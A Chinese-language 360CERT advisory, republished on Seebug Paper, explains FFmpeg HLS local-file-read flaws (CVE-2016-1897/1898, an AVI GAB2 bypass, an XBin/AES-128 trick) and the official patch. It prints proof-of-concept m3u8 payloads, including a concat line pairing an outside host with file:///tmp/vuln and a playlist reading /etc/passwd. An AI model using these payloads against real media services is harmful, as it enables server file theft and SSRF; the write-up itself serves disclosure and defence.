作者:redrain@360CERT & attacker2001@360CERT

BlackHat 2016 saw the report on vulnerabilities in video services. The authors continued researching this area, and are going to tell about new vulnerabilities (logical and binary) and curious ways to exploit them. Look forward to hearing real stories about exploiting these vulnerabilities in bug bounty programs! – via "Attacks on video converter: a year later"

在6月27日 hackerone 公開了一個關于 FFmpeg 本地文件泄漏的報告,該報告中描述為25日公開的另一個 FFmpeg 本地文件泄漏相關(https://hackerone.com/reports/242831) 。 該漏洞@Emil Lerner 和@Pavel Cheremushkin 在今年的 phdays conference 中已經披露(https://www.slideshare.net/phdays/ss-76515896) 。

360CERT團隊第一時間對該安全問題跟進并將簡單預警一個未公開的FFmpeg命令執行漏洞。

FFmpeg 背景知識和工作流程

FFmpeg 是一個非常強大且運用廣泛的多媒體框架,可以解碼,編碼,轉碼,播放幾乎所有格式的多媒體文件。其基本工作流程如下:

原始的封裝視頻 –> demux 分離器對封裝的視頻資源進行分離 –> 得到音頻資源和視頻資源 –> 進行解碼 –> 得到解壓后的音頻資源和視頻資源 –> 進入 filter 進行編輯處理 –> 得到處理后的音頻資源和視頻資源 –> 對資源編碼得到轉碼后的音頻資源和視頻資源 –> 進入 mux 混合器進行封裝 –> 得到轉碼封裝后的視頻

雖然 FFmpeg 非常強大,但是正因為它強大的格式適配能力,加之各種流媒體協議的多樣性,有可能對 FFmpeg 產生意想不到的安全威脅。

HLS介紹

一般流媒體協議分為兩種,一種是通過 HTTP 漸進下載的(如 HLS,flash 漸進式),另一種則是 RTSP 形式的實時流媒體協議。

HLS 是 Apple 提出并推廣的,全稱為 HTTP Live Streaming。它會把整個視頻流分成多個小的,基于 HTTP 的文件來下載,每次下載一部分,并把視頻流元數據存放于 m3u8 文件中。

m3u8 本身并不是視頻文件,它只會指定應該播放的視頻資源,而真正播放的視頻資源是下載下來的ts文件,可以把 m3u8 理解為一個配置文件,配置文件中指定了 ts 為播放文件,一個簡單的 m3u8 如下:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
redrain.ts        真正播放的視頻資源

當然,這個視頻資源也可以是一個遠程資源

#EXTM3U
#EXT-X-MEDIA-SEQUENCE
#EXT-X-TARGETDURATION
#EXT-X-ALLOW-CACHE
#EXT-X-ENDLIST
#EXTINF
http://www.redrain.sb/test.mp4        遠程資源

知識點復習

我們還記得去年的 CVE-2016-1897 和 CVE-2016-1898 ,一個 SSRF 和一個任意文件讀取漏洞,其中 SSRF 用到的就是 m3u8 可以訪問獲取遠程資源的特性。

  • CVE-2016-1897

  • CVE-2016-1898
    因為FFmpeg擴展性極強,其中支持一個 Physical concatenation protocol concat: 可以把多個 url 流合并訪問資源:

    concat:URL1|URL2|…|URLN

結合 SSRF ,我們可以把 file:// 讀到的內容發送出來。

#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST

之后官方在2.8.5版本修復了該漏洞。

老樹開新花

在上個月的 phdays conference 里,通過視頻格式的一個 trick bypass 了廠商對 SSRF 的封堵。

奇怪的視頻格式標準

在 AVI 視頻中,有一個數據塊可以定義字幕,叫做 GAB2 ,位置于 AVI header 中,有趣的是 m3u8 可以插入到 avi 文件中,且 FFmpeg 依舊會對有文件頭 #EXTM3U 的 AVi 視頻做 HLS 處理。

bypass 繼續利用 CVE-2016-1898

所以我們可以通過對含有 GAB2 header 的 AVI 視頻中嵌入 m3u8,bypass 廠商對 CVE-2016-1898 的修復

只需要將之前的 PoC 嵌入 AVI 中,依然可以讀取到目標文件。

[AVI header GAB2 header]
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
#EXT-X-ENDLIST
[AVI body footer]

New Arbitrary File Read

@Emil Lerner 和@Pavel Cheremushkin 在會議中其實披露了多個 FFmpeg 的漏洞,其中一個最為有意思的,也就是在 hackerone 公開報告中用到的漏洞,把讀取到的文件內容輸出到視頻中,從而可以讓文件讀取可以在無網絡環境的情況下利用。

利用思路如下:
同樣將 m3u8 嵌入到帶有 GAB2 的AVI視頻中,對文件格式檢查進行 bypass 。

因為之前說過,m3u8 并不是真正的視頻資源,所以如果要播放,必須還要在 m3u8 中嵌入一個可播放的視頻資源,其中有一個古老的媒體格式 XBin,這個媒體格式具備基本顯示圖片,文本的功能,體積非常小,最重要的是,這個媒體格式可編程,如果嵌入到 m3u8 中,將目標文件作為對象,用 xbin 繪制成為字符,就可以作為合法可播放的視頻文件觀看了,所以依次嵌套后,文件內容大致為:

[AVI header]  
[GAB2 header]  
[m3u8 header]  
[XBIN header]  
目標文件  
[XBIN footer]  
[m3u8 footer]  
[AVI footer]  

但 FFmpeg 檢查了 body 中的非法字符串,所以無法使用 data :對 XBIN 格式聲明

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:1
#EXTINF:1.0,
data:<format-header>
#EXTINF:1.0,
file:///etc/passwd
#EXTINF:1.0,
data:<format-footer>
#EXT-X-ENDLIST

但是 m3u8 支持 AES128 的 CBC 模式加密,可以在 #EXT-X-KEY 中進行設置,所以可以很簡單加密m3u8的內容:

…
#EXTINF:1,
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL>
#EXT-X-BYTERANGE: 16
/dev/zero
…

= AES^-1 CONST(0x00…00) ⊕<VAL> = <FMT HEADER>

由于 m3u8 單次訪問目標文件獲取到的內容不完整,為了獲得完整的文件內容,還需要控制 #EXT-X-BYTERANGE 設置偏移量,然后重復這一部分.

最終,我們得到的文件應該是這樣的:

[AVI header]
[GAB2 header]
[m3u8 header]

{loop}
#EXT-X-KEY:METHOD=AES-128, URI=/dev/zero, IV=<VAL>     聲明m3u8的AES加密,將XBIN部分加密
[XBIN header]     被加密
目標文件
[XBIN footer]    被加密
{loop}

[m3u8 footer]
[AVI footer]

執行后,讀取的目標文件內容成功輸出在 ffplay 的播放器中:

官方修復

筆者查看的針對這個漏洞的補丁

https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7

主要是在限制后綴名這一行生效:

+    {“allowed_extensions”, “List of file extensions that hls is allowed to access”,
+        OFFSET(allowed_extensions), AV_OPT_TYPE_STRING,
+        {.str = “3gp,aac,avi,flac,mkv,m3u8,m4a,m4s,m4v,mpg,mov,mp2,mp3,mp4,mpeg,mpegts,ogg,ogv,oga,ts,vob,wav”},
+        INT_MIN, INT_MAX, FLAGS},

打上補丁后,允許的擴展只有上述部分了。

Arbitrary Code Execution

phdays的ppt中結尾有那么一張:

FFmpeg is one of those projects we trust to have RCE everywhere

事實證明這句話是對的,筆者在去年分析該漏洞和 imagemagick 命令執行后,對格式處理和媒體處理軟件的安全性產生了迷之興趣,所以不由得多看了一下 FFmpeg 項目,也發現了一個在處理 mov 視頻過程中同樣是嵌入數據的命令執行,但在最新的 snapshot 中暫時沒有復現。

通過老版本演示如下:

https://youtu.be/SUDV9yfbDFw

思考

FFmpeg作為目前來說最廣泛的多媒體框架,它的強大之處毋庸置疑,但是正因為適配了盡可能多的媒體格式,其中一些沿用至今的古老格式或是一些特殊的標準協議,都可能給FFmpeg帶來不一樣的可能性,而缺乏沙箱的設計有可能還會有更多的利用可能性,關于媒體處理的服務組件或軟件將會暴露出更多問題。

參考來源
  • https://hackerone.com/reports/242831
  • https://hackerone.com/reports/226756
  • https://hackerone.com/reports/243470
  • https://www.slideshare.net/phdays/ss-76515896
  • https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/338/